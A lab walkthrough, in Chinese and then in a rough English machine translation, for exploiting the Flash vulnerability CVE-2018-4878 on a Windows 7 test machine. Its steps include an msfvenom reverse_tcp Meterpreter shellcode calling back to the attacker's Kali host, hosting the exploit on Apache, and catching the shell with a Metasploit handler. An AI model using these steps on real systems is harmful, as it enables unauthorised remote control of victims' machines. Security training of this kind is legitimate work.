Flash 0day漏洞
1、漏洞概述
2018年2月1号，Adobe官方发布安全通报（APSA18-01），声明Adobe Flash 28.0.0.137及其之前的版本，存在高危漏洞（CVE-2018-4878）。攻击者通过构造特殊的Flash链接，当用户用浏览器/邮件/Office访问此Flash链接时，会被“远程代码执[出自:jiwo.org]行”，并且直接被getshell。
靶机：Windows7 sp1 kali：192.168.43.16
条件：Adobe Flash 28.0.0.137及其之前的版本 IE8浏览器及以前版本
1、kali中打开终端，找到下载的cve-2018-4878工具，切换到该路径。
2、输入<msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.16 LPORT=4444 -f python>shellcode.txt>生成shellcode.txt可以查看kali的shellcode
3、查看shellcode，并替换cve-2018-4878里面原来的shellcode
4、修改cve-2018-4878.py，替换刚查看的shellcode、更改stageless = False（原本为True）、修改两个fopen打开文件的路径改为要生成的exploit.swf和index.html路径
5、执行cve-2018-4878.py生成要用的exploit.swf和index.html
6、开启apache2服务，把两个文件复制到apache web路径中<cp index.html /var/www/html/index.html> <cp exploit.swf /var/www/html/exploit.swf>
7、打开msfconsole、使用监听模块 <use multi/handler> 、加载一枚payload <set payload windows/meterpreter/reverse_tcp>、设置参数填上kali的IP和生成shellcode的端口、exploit利用
8、当靶机使用有cve-2018-4878漏洞的浏览器和Adobe Flash访问http://192.168.43.16/index.html时，就会获得靶机shell
可以看到，已经反弹meterpreter会话，只要输入就可以拿到shell

Flash 0day vulnerability
1. Vulnerability Overview
February 2018 No. 1, Adobe officially released a security advisory (APSA18-01), version 28.0.0.137 and prior declaration Adobe Flash, the presence of high-risk vulnerabilities (CVE-2018-4878). An attacker by constructing a special Flash links, when a user accesses this Flash link in browser / e-mail / Office, will be "remote code execution
Line ", and directly getshell.
Drone: Windows7 sp1 kali: 192.168.43.16
Conditions: Adobe Flash 28.0.0.137 and earlier versions IE8 browser and earlier versions
1, kali open the terminal, to find the downloaded tool cve-2018-4878, to switch the path.
2, the input <msfvenom -p windows / meterpreter / reverse_tcp LHOST = 192.168.43.16 LPORT = 4444 -f python> shellcode.txt> kali can view the generated shellcode.txt shellcode
3, see the shellcode, and replace cve-2018-4878 which the original shellcode
4, modify cve-2018-4878.py, shellcode replaced just to view, change stageless = False (originally True), to modify two fopen to open the file path to be generated index.html path and exploit.swf
5, the implementation of cve-2018-4878.py generation and use of exploit.swf index.html
6, open apache2 service, the two files to apache web path <cp index.html /var/www/html/index.html> <cp exploit.swf /var/www/html/exploit.swf>
7, open msfconsole, using the monitor module <use multi / handler>, loading a payload <set payload windows / meterpreter / reverse_tcp>, setting parameters and generating an IP kali fill port the shellcode, exploit the use of
8, when the drone has cve-2018-4878 vulnerability using the browser and Adobe Flash Access http://192.168.43.16/index.html, you will get drone shell
You can see, it has rebounded meterpreter session, as long as you can get shell input
